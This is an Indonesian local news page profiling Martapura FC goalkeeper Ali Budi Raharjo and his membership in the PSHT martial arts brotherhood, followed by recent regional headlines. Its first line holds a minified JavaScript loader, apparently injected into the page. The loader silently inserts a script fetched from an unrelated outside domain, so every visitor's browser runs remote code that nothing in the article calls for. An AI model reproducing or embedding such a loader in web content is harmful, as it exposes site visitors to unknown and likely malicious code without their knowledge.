(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Selain Main Bola, Ali Budi Raharjo Ternyata Geluti Olahraga Ini


MARTAPURA, Adalah Ali Budi Raharjo, kiper andalan Martapura FC, pemain sepakbola professional ternyata juga geluti olahraga lain. Ya, Ali -biasa disapa- menjadi salah satu anggota PSHT (Persaudaraan Satu Hati Terate) selain dunia sepakbola.

Menurut Ali, PSHT ini adalah salah satu budaya Indonesia yang di dalamnya penuh dengan berbagai macam ilmu. Terlebih pencak silat merupakan seni budaya beladiri asli Indonesia.

“Di PSHT saya mendapatkan banyak ilmu dari fisik, mental, beladiri dan batin,” ujarnya.

Di PSHT, tambah Ali, bukanlah komunitas seperti pada umumnya, melainkan organisasi yang menghimpun manusia dan mendidik menjadi anggota yang berbudi pekerti luhur serta tahu mana yang benar dan mana yang salah.

“Dari PSHT ini juga saya bisa lebih jauh dan dalam mempelajari ilmu bela diri, bisa memahami dan mengetahui diri sendiri. Tentu banyak manfaat lainnya,” akunya.

Ia juga mengaku bisa mengaplikasikan ke dalam kehidupannya sehari-hari. Saat pertandingan sepakbola, mental dan kesigapan menjadi lebih terasah dan kuat. Hal ini bisa dilihat seringkali ia memberikan komando kepada rekan-rekannya, terutama para bek agar tetap fokus dan tenang.

Kecintaan Ali terhadap PSHT ini begitu kental dan kuat. Ini tercermin dari nomor punggung yang ia kenakan di jersey kiper Martapura FC, 22. Nomor 22 merupakan 2 digit angka terakhir dari tahun berdirinya Persaudaraan Satu Hati Terate (PSHT), tahun 1922. Ia berharap dari PSHT ini menjadi salah satu faktor yang berandil besar dalam perkembangan karir sepakbolanya.

Meskipun sudah memiliki seorang istri dan dianugerahi seorang putra, ia tetap melangkah maju dan berjalan di organisasi ini. Karena baginya, sebuah ilmu harus tetap dipelajari semenjak kita terlahir ke dunia hingga kelak meninggalkan dunia.

Kepada buah hatinya, Ali tidak ingin memaksakan harus mengikuti jejaknya di dunia olahraga sepakbola maupun PSHT.

“Untuk anak saya, terserah dia maunya bagaimana. Yang pasti sebagai orang tua kita wajib membimbingnya agar menjadi anak yang baik,” pungkas pengidola Petr Cech ini. (Dema)


Desy Arfianty

Recent Posts

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

1 jam ago

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

2 jam ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

3 jam ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

3 jam ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

16 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

16 jam ago

This website uses cookies.